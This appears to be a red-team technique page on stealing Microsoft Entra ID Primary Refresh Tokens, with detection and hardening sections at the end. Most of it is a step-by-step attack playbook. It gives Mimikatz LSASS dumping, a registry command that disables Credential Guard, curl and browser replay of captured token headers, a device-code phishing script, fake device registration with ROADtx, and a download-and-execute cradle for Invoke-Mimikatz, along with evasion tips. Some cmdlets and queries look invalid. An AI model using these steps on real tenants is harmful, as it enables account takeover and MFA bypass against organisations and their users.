| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-012 |
| MITRE ATT&CK v18.1 | T1528: Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | Entra ID (Microsoft Entra ID joined, hybrid joined, or registered Windows devices) |
| Severity | Critical |
| CVE | CVE-2021-42287 (Kerberos PAC validation; related to privilege escalation in hybrid scenarios) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Windows 10 (1903+), Windows 11, Windows Server 2016-2025, iOS, Android, macOS, Linux |
| Patched In | Ongoing mitigation via Token Protection Conditional Access, device compliance requirements, TPM enforcement |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 8 (Splunk Detection) are partially applicable as no dedicated Atomic test exists for PRT extraction. Remaining sections apply to all supported environments.
Concept: A Primary Refresh Token (PRT) is a high-privilege cryptographic artifact issued by Microsoft Entra ID to authenticate users on registered or managed devices. Unlike standard refresh tokens that are tied to specific applications, a PRT can be used to authenticate to any Entra ID-connected service, including Microsoft 365, Azure Portal, Teams, and SharePoint. Once an attacker obtains a PRT through credential dumping, browser session theft, or device registration abuse, they can bypass multi-factor authentication (MFA) and conditional access policies that rely solely on user credentials—not device identity. The attack is particularly dangerous because the compromised device often satisfies device-based conditional access policies, granting the attacker unrestricted access to cloud resources.
Attack Surface: The attack surface encompasses LSASS process memory (where PRT and session keys reside), browser HTTP headers (x-ms-RefreshTokenCredential), Trusted Platform Module (TPM) key material, device registration endpoints, and cloud-side PRT validation logic.
Business Impact: Immediate cloud-wide compromise with MFA bypass. An attacker with a stolen PRT can impersonate any Entra ID user on any cloud service without requiring a password or second factor. This enables exfiltration of sensitive data from Exchange, SharePoint, and OneDrive; account takeover in Microsoft 365 admin centers; deployment of persistent backdoors via Azure Automation or Logic Apps; and lateral movement to on-premises systems via hybrid identity sync abuse.
Technical Context: PRT extraction typically takes seconds to minutes on a compromised device. Stealth depends on method: LSASS memory dumping is highly detectable (antivirus flags, event logging); browser SSO cookie theft is low-noise. Once obtained, the PRT is valid for ~90 days and continuously renewed, allowing long-term persistence. Detection relies on identifying anomalous token flows, device-to-cloud transitions, or rapid device registration followed by immediate resource access.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1 Access Control | Inadequate device compliance policies fail to enforce hardware-backed credential storage (TPM), allowing PRT extraction from non-compliant endpoints. |
| DISA STIG | WN10-00-000030 | Weak authentication mechanisms fail to prevent credential theft; STIG requires credential guard and TPM enablement. |
| CISA SCuBA | MS.CIAAE.01 | Conditional Access policies must enforce device compliance and block legacy authentication; failure allows PRT abuse. |
| NIST 800-53 | AC-3 Access Enforcement, SC-12 Cryptographic Key Management | Inadequate access controls and cryptographic key protection mechanisms enable unauthorized token acquisition and use. |
| GDPR | Art. 32 Security of Processing | Failure to implement appropriate technical measures (device hardening, encryption, access controls) to protect personal data stored in cloud services accessed via stolen PRT. |
| DORA | Art. 9 Protection and Prevention | Financial services must implement multi-layered authentication and device-binding controls to prevent unauthorized access to financial systems via PRT abuse. |
| NIS2 | Art. 21 Cyber Risk Management Measures | Critical infrastructure operators must detect and respond to token theft and implement device-level protections (TPM, secure enclave, compliance policies). |
| ISO 27001 | A.9.2.3 Management of Privileged Access Rights, A.10.1.1 Cryptographic Controls | Inadequate control of highly privileged tokens (PRTs) and failure to protect cryptographic keys bound to devices. |
| ISO 27005 | Risk Scenario: Unauthorized Access via Compromised Device Authentication | Token theft from device authentication mechanisms represents a critical risk to confidentiality and availability of cloud-based assets. |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Determine if the target device is registered with Entra ID and capable of issuing PRTs.
Command (Windows - PowerShell):
dsregcmd /status
Expected Output:
+----------------------------------------------------------------------+
| Device State |
+----------------------------------------------------------------------+
AzureAdJoined : YES # Device is Entra-joined
EnterpriseJoined : NO
DomainJoined : YES # Hybrid-joined (both AD and Entra)
Device Name : DESKTOP-ABC123
...
+----------------------------------------------------------------------+
| SSO State |
+----------------------------------------------------------------------+
AzureAdPrt : YES # PRT is available
AzureAdPrtUpdateTime : 2025-01-08 10:30:00 UTC # Last renewal time
...
What to Look For:
AzureAdJoined : YES or EnterpriseJoined : YES indicates the device is registered and can issue PRTs.AzureAdPrt : YES confirms a valid PRT is currently stored and accessible.AzureAdPrt : NO, the device is not yet fully authenticated to Entra ID (possible exploitation scenario if user re-authentication occurs).OpSec Note: This command generates minimal event logging and is safe to run on target devices during reconnaissance.
Objective: Assess whether the PRT is protected by TPM (hardware-backed) or stored in software.
Command (Windows - PowerShell):
Get-WmiObject -Namespace root\cimv2\security\microsoftvolumeencryption -Class Win32_EncryptableVolume | Select-Object -Property driveletter,ProtectionStatus
# Check TPM presence and firmware version
Get-WmiObject -Namespace root\cimv2 -Class Win32_Tpm
Expected Output (TPM Present):
Status : 2 # TPM is ready
IsActivated() : True
IsEnabled() : True
ManufacturerId : 0x1014 # Intel TPM
SpecVersion : 2.0 # TPM 2.0
Expected Output (TPM Absent or Disabled):
# Empty result or "No instance(s) available"
# High-risk scenario: PRT stored in software without hardware protection
What to Look For:
Version Note: Windows 11 requires TPM 2.0. Windows 10 may fall back to software protection if TPM fails.
Objective: Understand which cloud services are accessible via the stolen PRT and whether device-based Conditional Access is enforced.
Command (Azure CLI - Entra ID-joined device with user credentials):
az login
az ad app list --filter "appId eq '00000002-0000-0000-c000-000000000000'" # Azure Service Management
az ad sp list --filter "appDisplayName eq 'Microsoft Graph'" # Microsoft Graph API
Command (PowerShell - Using existing token):
Connect-MgGraph
Get-MgContext | Select-Object -Property TenantId, Account, Scopes
What to Look For:
OpSec Note: These commands may generate sign-in audit events in Azure if not using cached credentials.
Supported Versions: Windows 10 (1903+), Windows 11, Server 2016-2025
Objective: Obtain local admin privileges on the target device.
Prerequisites:
Version Note: On Windows 10/11 with User Account Control (UAC), privilege escalation may require token impersonation or UAC bypass techniques (e.g., COM hijacking, token impersonation via PrintSpooler).
OpSec & Evasion:
Troubleshooting:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags = 0.References:
Objective: Extract the PRT, session key, and device credentials from LSASS process memory.
Command (Mimikatz Interactive):
mimikatz.exe
mimikatz # privilege::debug # Escalate to DEBUG privilege
mimikatz # sekurlsa::cloudap # Extract CloudAP module data (PRT)
Command (Mimikatz One-Liner):
mimikatz.exe "privilege::debug" "sekurlsa::cloudap" "exit" > prt_dump.txt
Expected Output:
CloudAP : TID 0x8a4 (2212)
* Key : {version:1, cryptoProvider:1, ...}
* PRT : eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ... [JWT Token]
* Key Version : 2
* Resource : https://login.microsoftonline.com
* Claims : {...}
* Device Key : RSA-2048 [exponent=65537, modulus=...]
* Transport Key: RSA-2048 [exponent=65537, modulus=...]
* Session Key : [256-bit symmetric key]
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
dsregcmd /status shows AzureAdJoined : YES.reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 0 /fReferences:
Objective: Parse the PRT JWT and extract usable claims (user ID, device ID, MFA status).
Command (PowerShell - JWT Decoding):
# Decode JWT header and payload (not signature verification)
$prt = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ..." # From Mimikatz output
$parts = $prt.Split('.')
$header = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($parts[0]))
$payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($parts[1]))
Write-Host "Header: $header"
Write-Host "Payload: $payload" | ConvertFrom-Json
Expected Payload Structure:
{
"aud": "https://login.microsoftonline.com",
"iss": "https://login.microsoftonline.com/{tenantid}/",
"iat": 1641234567,
"nbf": 1641234567,
"exp": 1641321000,
"sub": "user@domain.com",
"device_id": "12a34b56-c789-1234-d567-890abcdef012",
"amr": ["ngcmfa"], # Contains "ngcmfa" if Windows Hello for Business used
"mfa_auth_time": 1641234567,
"mfa": "1", # "1" = MFA passed; "0" = no MFA
"win_ver": "10.0.22621.1234",
"x_client_platform": "Windows"
}
What This Means:
OpSec & Evasion: Decoding does not generate logs but may be flagged by logging tools if performed on target. Safe to perform offline on attacker machine.
References:
Objective: Use stolen PRT + session key to authenticate to Entra ID services without requiring MFA or device compliance re-verification.
Command (Using ROADtx - PRT Replay):
# First, save the PRT and session key to a file (from Mimikatz output)
# prt.json format: {"prt": "eyJ...", "key": "base64_session_key", "device_id": "..."}
roadtx prtauth -prt prt.json -url "https://graph.microsoft.com" -o output_token.json
Command (Using Browser Method - Manual Replay):
// In browser console (Edge/Chrome Dev Tools):
// Step 1: Open DevTools → Network tab
// Step 2: Browse to https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?...
// Step 3: Capture the request header "x-ms-RefreshTokenCredential"
// Step 4: Save the value to a file and use in curl:
curl -H "x-ms-RefreshTokenCredential: eyJ..." \
-H "x-ms-DeviceCredential: eyJ..." \
-H "User-Agent: Mozilla/5.0" \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=..." \
-v
Expected Success Response:
HTTP/1.1 302 Found
Location: https://myapps.microsoft.com/?...
Set-Cookie: x-ms-session=eyJ...; secure; httponly
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Supported Versions: Windows 10/11, Chrome, Edge, Firefox
Objective: Locate a browser that has already obtained and cached a PRT (e.g., user is logged into Office 365).
Command (PowerShell - List Browser Processes):
Get-Process | Where-Object { $_.ProcessName -like "chrome*" -or $_.ProcessName -like "msedge*" -or $_.ProcessName -like "firefox*" }
Expected Output:
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
1234 234 234567 123456 1.23 5678 2 msedge
What to Look For:
OpSec & Evasion: Browser detection is silent and does not generate alerts.
Objective: Capture the x-ms-RefreshTokenCredential header containing the PRT cookie.
Manual Steps (Microsoft Edge / Chrome):
https://mysignins.microsoft.com or https://portal.office.com and press Enter.login.microsoftonline.com or similar.x-ms-RefreshTokenCredential (may also appear as x-ms-RefeshTokenCredential).x-ms-DeviceCredential header if present.Browser Console Alternative (JavaScript):
// Open console (F12 → Console tab) and paste:
window.location = "https://mysignins.microsoft.com";
// Wait for redirect, then in the redirected page console:
// Check Network tab for "x-ms-RefreshTokenCredential" header
// Or use fetch API to capture headers:
fetch('https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=https://mysignins.microsoft.com', {
method: 'GET',
credentials: 'include' // Include cookies
}).then(r => r.headers).then(h => console.log(h.get('x-ms-RefreshTokenCredential')));
Expected Output:
x-ms-RefreshTokenCredential: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJpc19wcmltYXJ5IjoiYmV0dXJ...
x-ms-DeviceCredential: eyJhbGciOiJSUzI1NiIsImtpZCI6IjIifQ.eyJpc19wcmltYXJ5IjoiYmV0dXJ...
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Use captured PRT header to authenticate from a different device/IP address.
Command (cURL - Manual Replay):
# Set environment variables with captured headers
export PRT="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ..."
export DEVICE="eyJhbGciOiJSUzI1NiIsImtpZCI6IjIifQ.eyJ..."
# Request OAuth token using PRT
curl -i \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
-H "x-ms-RefreshTokenCredential: $PRT" \
-H "x-ms-DeviceCredential: $DEVICE" \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=https%3A%2F%2Fmysignins.microsoft.com&response_type=code&scope=openid%20profile%20email&state=random123&nonce=random456"
Expected Response:
HTTP/1.1 302 Found
Location: https://mysignins.microsoft.com?code=M.R3_BAY...&state=random123
Set-Cookie: x-ms-session=eyJ...; secure; httponly; samesite=strict
What This Means:
Command (PowerShell - Extract Access Token):
# Using the auth code from the redirect URL:
$code = "M.R3_BAY..."
$body = @{
client_id = "1950a258-227b-4e31-a9cf-717495945fc2"
client_secret = "" # May be required depending on app
code = $code
grant_type = "authorization_code"
redirect_uri = "https://mysignins.microsoft.com"
}
$response = Invoke-WebRequest -Uri "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" `
-Method POST `
-Body ($body | ConvertTo-Json) `
-ContentType "application/json"
$accessToken = ($response.Content | ConvertFrom-Json).access_token
# Access Microsoft Graph API
$headers = @{ Authorization = "Bearer $accessToken" }
Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers
Expected Output:
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
"id": "12345678-1234-1234-1234-123456789012",
"userPrincipalName": "user@domain.com",
"displayName": "Victim User",
"mail": "user@domain.com"
}
OpSec & Evasion:
Troubleshooting:
References:
Supported Versions: All Entra ID tenants (regardless of Windows version)
Objective: Obtain a valid user refresh token through device code phishing (no local access required).
Command (ROADtx - Interactive Authentication):
# Initiate device code flow
roadtx gettokens -u "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
--client-id "1950a258-227b-4e31-a9cf-717495945fc2" \
--output-file tokens.json
# Output will display:
# To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AB12CD34EF56
# Once user authenticates on their device, tokens will be saved to tokens.json
Alternative (Device Code Phishing Script):
# Python script to generate device code login URL and capture token
import requests
import json
client_id = "1950a258-227b-4e31-a9cf-717495945fc2" # Azure PowerShell
tenant = "common"
device_code_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode"
data = {
"client_id": client_id,
"scope": "https://graph.microsoft.com/.default"
}
response = requests.post(device_code_url, data=data)
device_code_data = response.json()
print(f"Visit: {device_code_data['verification_uri']}")
print(f"Enter code: {device_code_data['user_code']}")
# Poll for token once user authenticates
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
while True:
token_data = {
"client_id": client_id,
"device_code": device_code_data["device_code"],
"grant_type": "urn:ietf:params:oauth:grant-type:device_code"
}
response = requests.post(token_url, data=token_data)
if "access_token" in response.json():
tokens = response.json()
print(f"Got tokens: {json.dumps(tokens, indent=2)}")
break
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiL...",
"refresh_token": "0.AWYAMEj_...",
"expires_in": 3599,
"token_type": "Bearer",
"scope": "https://graph.microsoft.com/.default"
}
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Use the obtained refresh token to register a new device and obtain a device certificate.
Command (ROADtx - Device Registration):
# Register a new device using the refresh token
roadtx deviceregister -t tokens.json \
--device-name "CORP-LAPTOP-ABC" \
--device-type "Windows10" \
--os-version "10.0.22621" \
--output-file device.json
# Output will contain:
# Device ID: 12a34b56-c789-1234-d567-890abcdef012
# Device Certificate: -----BEGIN CERTIFICATE-----
# Device Key: -----BEGIN PRIVATE KEY-----
Expected Output (device.json):
{
"device_id": "12a34b56-c789-1234-d567-890abcdef012",
"device_name": "CORP-LAPTOP-ABC",
"device_certificate": "-----BEGIN CERTIFICATE-----\nMIID...\n-----END CERTIFICATE-----",
"device_key": "-----BEGIN PRIVATE KEY-----\nMIIE...\n-----END PRIVATE KEY-----",
"refresh_token": "0.AXYA..."
}
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Use the device certificate to request a Primary Refresh Token.
Command (ROADtx - PRT Request):
# Request a PRT using the device certificate and original refresh token
roadtx prt -u "user@domain.com" \
-r "0.AXYA..." \
--key device_key.pem \
--cert device_cert.pem \
--output-file prt_keys.json
# Or using password (if available):
roadtx prt -u "user@domain.com" \
-p "P@ssw0rd123" \
--key device_key.pem \
--cert device_cert.pem \
--output-file prt_keys.json
Expected Output (prt_keys.json):
{
"prt": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ...",
"key_data": {
"type": "symmetric",
"alg": "A256CBC-HS512",
"value": "base64_encoded_session_key"
},
"refresh_token": "0.AXYA...",
"device_id": "12a34b56-c789-1234-d567-890abcdef012"
}
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Upgrade the PRT to include MFA and device compliance claims (if policies require them).
Scenario: Tenant enforces Conditional Access policy requiring:
Command (ROADtx - PRT Enrichment with Windows Hello for Business):
# Step 1: Register Windows Hello for Business key on the fake device
roadtx winhello -u "user@domain.com" \
--key device_key.pem \
--cert device_cert.pem \
--output-file whfb_keys.json
# Step 2: Request new PRT with Windows Hello signature (counts as MFA)
roadtx prt -u "user@domain.com" \
--winhello-key whfb_keys.json \
--key device_key.pem \
--cert device_cert.pem \
--output-file prt_mfa.json
Alternative (Conditional Access Evasion via Network Location):
# If Conditional Access restricts access to corporate networks, tunnel through proxy/VPN:
export HTTPS_PROXY="https://corporate-proxy.internal:8080"
roadtx prtauth -prt prt_keys.json \
-url "https://graph.microsoft.com" \
-output tokens_proxied.json
Expected Output:
{
"prt_with_mfa": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ...\"mfa\": \"1\"...",
"whfb_signature": "base64_signature_of_prt_with_whfb_key"
}
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
References:
Version: 2.2.0 (20200807) or later Minimum Version: 2.2.0 (CloudAP module support) Supported Platforms: Windows 10 (1903+), Windows 11, Server 2016-2025
Version-Specific Notes:
Installation:
# Download latest release from GitHub
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220715/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd x64
# Run mimikatz
./mimikatz.exe
Usage:
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::dpapi
Script (One-Liner - Extract PRT to File):
# PowerShell module (Invoke-Mimikatz) - avoids disk-based binary
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::cloudap" "exit" | Out-File prt_dump.txt
Version: Latest (actively maintained) Minimum Version: 0.2+ Supported Platforms: Linux, macOS, Windows (Python 3.7+)
Installation:
pip install roadtools
roadtx --version
Usage Examples:
# Device code flow authentication
roadtx gettokens -u "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
--client-id "1950a258-227b-4e31-a9cf-717495945fc2" \
--output-file tokens.json
# Device registration
roadtx deviceregister -t tokens.json \
--device-name "CORP-LAPTOP-001" \
--output-file device.json
# PRT request
roadtx prt -u "user@domain.com" \
-r "0.AXYA..." \
--key device_key.pem \
--cert device_cert.pem \
--output-file prt_keys.json
# PRT authentication (get access token)
roadtx prtauth -prt prt_keys.json \
-url "https://graph.microsoft.com" \
--output tokens.json
Version: Latest (PowerShell module) Minimum Version: 0.9.4+ Supported Platforms: Windows (requires LSASS access)
Installation:
Install-Module AADInternals -Scope CurrentUser
# Or download from aadinternals.com
Usage Examples:
# Import module
Import-Module AADInternals
# Export device certificate for device-bound token
Export-AADIntLocalDeviceCertificate
# Extract PRT keys from LSASS
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName ".\device_cert.pfx"
# Create a new PRT token
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GetNonce
# Get access token for Graph API using PRT
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -SaveToCache
# Get access token for Excel Online
Get-AADIntAccessTokenForExcel -PRTToken $prtToken -SaveToCache
Rule Configuration:
KQL Query:
AADServicePrincipalSignInLogs
| where AppDisplayName =~ "Device Registration Service" and ResultDescription =~ "success"
| project DeviceId, UserPrincipalName, TimeGenerated, IPAddress, UserAgent, OperationName
| join kind=inner (
SigninLogs
| where AuthenticationProtocol =~ "PRT"
| project DeviceId, TimeGenerated, IPAddress as TokenIP, UserPrincipalName
| where TimeGenerated > ago(1h)
) on DeviceId, UserPrincipalName
| where datetime_diff('minute', TimeGenerated1, TimeGenerated) <= 5 and IPAddress != TokenIP
| summarize Count = count(), FirstSeen = min(TimeGenerated) by DeviceId, UserPrincipalName, IPAddress, TokenIP
| where Count > 1
What This Detects:
Manual Configuration Steps (Azure Portal):
PRT Issuance to Suspicious New DeviceHighDetects rapid PRT issuance to newly registered device from different IP5 minutes1 hourby all entitiesManual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "PRT Issuance to Suspicious New Device" `
-Query @"
[Insert KQL Query Here]
"@ `
-Severity "High" `
-Enabled $true `
-IncidentGroupingOption "AllEntities"
False Positive Analysis:
Rule Configuration:
KQL Query:
SigninLogs
| where AuthenticationProtocol =~ "PRT"
| extend ParsedLocation = split(LocationDetails.countryOrRegion, ",")[0]
| project TimeGenerated, UserPrincipalName, AuthenticationProtocol, IPAddress, ParsedLocation, UserAgent, DeviceDetail, AuthenticationDetails
| join kind=inner (
SigninLogs
| where TimeGenerated > ago(24h) and AuthenticationProtocol =~ "OAuth2"
| summarize PrevCountry = any(LocationDetails.countryOrRegion), PrevIP = any(IPAddress) by UserPrincipalName
) on UserPrincipalName
| where ParsedLocation != PrevCountry and ParsedLocation =~ "CN|RU|KP" # High-risk countries
| summarize Count = count(), IPs = make_set(IPAddress), Countries = make_set(ParsedLocation) by UserPrincipalName, TimeGenerated
What This Detects:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688 and (CommandLine contains "sekurlsa" or CommandLine contains "cloudap" or Image contains "mimikatz")
| project TimeGenerated, Computer, CommandLine, SubjectUserName
| join kind=inner (
SigninLogs
| where TimeGenerated > ago(30m) and AuthenticationProtocol =~ "PRT"
| project TimeGenerated, UserPrincipalName, IPAddress
) on $left.SubjectUserName == $right.UserPrincipalName
| where datetime_diff('minute', TimeGenerated1, TimeGenerated) <= 10
| summarize Count = count() by Computer, SubjectUserName, UserPrincipalName, IPAddress, CommandLine
What This Detects:
Event ID: 4688 (Process Creation)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Server 2022+):
auditpol /get /subcategory:"Process Creation" /rEvent ID: 4647 (User Logout)
Event ID: 4649 (A replay attack was detected)
Alert Name: “Suspicious Mimikatz behavior detected”
Alert Name: “Suspicious access to PRT attempted”
Manual Configuration Steps (Enable Defender for Cloud):
Files:
C:\Program Files\mimikatz\mimikatz.exe or renamed variantsC:\Temp\lsass.dmp (LSASS memory dumps)C:\Users\*\AppData\Local\Temp\prt_keys.json (PRT export files).pfx, .pem, or .cer files containing device certificatesRegistry:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags = 0 (Credential Guard disabled)HKLM\SOFTWARE\Policies\Microsoft\Windows\System\Audit\ProcessCreation\IncludeCommandLine = 1 (Command-line logging enabled—attacker may disable this)Network:
login.microsoftonline.com:443, graph.microsoft.com:443Cloud:
Disk:
C:\Windows\System32\winevt\Logs\Security.evtx (Event ID 4688, 4647)C:\Windows\System32\config\SAM (if dumped alongside PRT)C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtMemory:
Cloud (Azure/M365):
1. Immediate Containment:
Command (Revoke PRT):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.ReadWrite.All"
# Get the compromised device ID
$device = Get-MgDevice -Filter "displayName eq 'CORP-LAPTOP-ABC'"
# Delete/disable the device (revokes all tokens issued to this device)
Remove-MgDevice -DeviceId $device.Id
# Or for hybrid devices, mark as non-compliant:
Update-MgDeviceRegistrationPolicy -DeviceCompliancePolicy @{"state" = "noncompliant"}
Manual (Azure Portal):
2. Revoke Active Sessions:
Command (Revoke All Sessions):
# Force user to re-authenticate by revoking all refresh tokens
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
$userId = "user@domain.com"
$user = Get-MgUser -Filter "userPrincipalName eq '$userId'"
# Revoke all refresh tokens (forces re-authentication for all apps)
Invoke-MgUserInvalidateAllRefreshTokens -UserId $user.Id
Manual (Azure Portal):
3. Reset Credentials and Enforce MFA:
Command:
# Reset user password (invalidates cached credentials)
$newPassword = ConvertTo-SecureString "NewComplex!Pass123" -AsPlainText -Force
Update-MgUser -UserId $user.Id -Password $newPassword -ForceChangePasswordNextSignIn $true
# Require MFA re-enrollment
$enforceRegMfaMethods = @("microsoftAuthenticatorPush", "windowsHelloForBusiness")
New-MgUserAuthenticationRequirementPolicy -UserId $user.Id -Methods $enforceRegMfaMethods
Manual (Azure Portal):
4. Forensic Evidence Collection:
Command (Export Audit Logs):
# Export sign-in events for the compromised device
$deviceId = "12a34b56-c789-1234-d567-890abcdef012"
$startDate = (Get-Date).AddDays(-7)
Get-AzureAuditLog -Filter "properties/deviceId eq '$deviceId'" `
-StartDate $startDate `
-EndDate (Get-Date) | Export-Csv -Path "device_audit.csv"
# Export from Unified Audit Log (M365)
Search-UnifiedAuditLog -Operations "UserRegisterDevice" `
-StartDate $startDate `
-EndDate (Get-Date) `
-ResultSize 5000 | Export-Csv -Path "device_registration_audit.csv"
Manual (Azure Portal):
5. Investigation Steps:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView enumeration | Attacker maps domain structure and Entra ID joined devices. |
| 2 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into authenticating via device code flow (METHOD 3). |
| 3 | Credential Access - This Step | [CA-TOKEN-012] PRT Theft | Attacker extracts PRT from LSASS, browser, or via device registration. |
| 4 | Privilege Escalation | [PE-POLICY-005] Cross-Tenant Escalation | Using stolen PRT, attacker escalates within tenant or across tenants (B2B abuse). |
| 5 | Collection | [COLLECTION-M365] Mailbox Exfiltration | Attacker uses PRT to access Exchange Online, exfiltrates emails and files. |
| 6 | Impact | [IMPACT-RANSOM] Cloud Ransomware | Attacker encrypts files in SharePoint/OneDrive or deletes backups via stolen PRT access. |
privilege::debug → sekurlsa::cloudap.Manual Steps (Windows 11 via Group Policy):
Manual Steps (Intune - Enforce TPM Compliance):
Manual Steps (PowerShell - Verify TPM on Device):
Get-WmiObject -Namespace root\cimv2 -Class Win32_Tpm | Select-Object Status, SpecVersion
# If TPM not present or failed:
# Run hardware diagnostics; replace defective TPM chip if needed
Validation Command (Verify Policy Enforced):
# On target device:
Get-WmiObject -Namespace root\cimv2 -Class Win32_Tpm | Select-Object IsEnabled_InitialValue
# Should return: IsEnabled_InitialValue = True
Manual Steps (Group Policy):
gpupdate /force and rebootManual Steps (PowerShell - Enable Credential Guard):
# Run as Administrator
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/MicrosoftDocs/windows-itpro-docs/public/windows/security/identity-protection/credential-guard/credential-guard-manage.md" -OutFile cg_config.txt
# Or directly via Registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# 1 = Enabled with UEFI lock, 0 = Disabled
# Reboot
Restart-Computer -Force
Validation Command (Verify Credential Guard Active):
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# Look for: SecurityServicesRunning = {1} or {2} (Credential Guard active)
Manual Steps (Azure Portal):
Enforce Token Protection for M365Report-only (first; then switch to On)Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
$policy = New-MgIdentityConditionalAccessPolicy -DisplayName "Enforce Token Protection for M365" `
-State "enabled" `
-Conditions @{
Applications = @{ IncludeApplications = @("492d3f01-a5bb-4e43-b4ab-6a4fd0e6d4f9") } # Teams
Users = @{ IncludeUsers = @("All") }
} `
-GrantControls @{
Operator = "AND"
CustomAuthenticationFactors = @()
BuiltInControls = @("tokenProtection")
}
Manual Steps (Conditional Access Policy):
Block Device Code Flow for Non-Compliant DevicesManual Steps (Conditional Access - Alternative):
Allow Device Code for Specific Locations/IPs OnlyManual Steps (Azure Portal):
Medium and aboveRequire strong authentication (MFA)Low and aboveRequire multi-factor authenticationManual Steps (Microsoft Defender for Endpoint):
DeviceProcessEvents
| where ProcessName contains "mimikatz" or CommandLine contains "privilege::debug"
| alertImmediately
Manual Steps (Azure Portal):
Require Compliant Devices for Cloud AppsManual Steps (Azure Portal):
Manual Steps (Azure Portal):
Manual Steps (Entra ID Application Permissions):
Manual Steps (Azure Portal):
# Check TPM
Get-WmiObject -Namespace root\cimv2 -Class Win32_Tpm | Select-Object Status
# Check Credential Guard
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# Check Conditional Access policies
Connect-MgGraph -Scopes "Policy.Read.ConditionalAccess"
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Token*" }
# Check device compliance
Get-MgDeviceManagementCompliancePolicy
Expected Output (If Secure):
TPM Status: Ready
Credential Guard: Enabled with UEFI lock
Token Protection CA Policy: Enabled
Device Compliance: Required
PRT attacks represent a critical threat to hybrid identity environments. Once stolen, a PRT bypasses MFA and device compliance checks, enabling unrestricted access to cloud services for ~90 days. Mitigation requires:
Organizations should prioritize hardening endpoints (TPM, Credential Guard), enforcing token protection policies, and implementing comprehensive monitoring for LSASS access and anomalous cloud authentication patterns.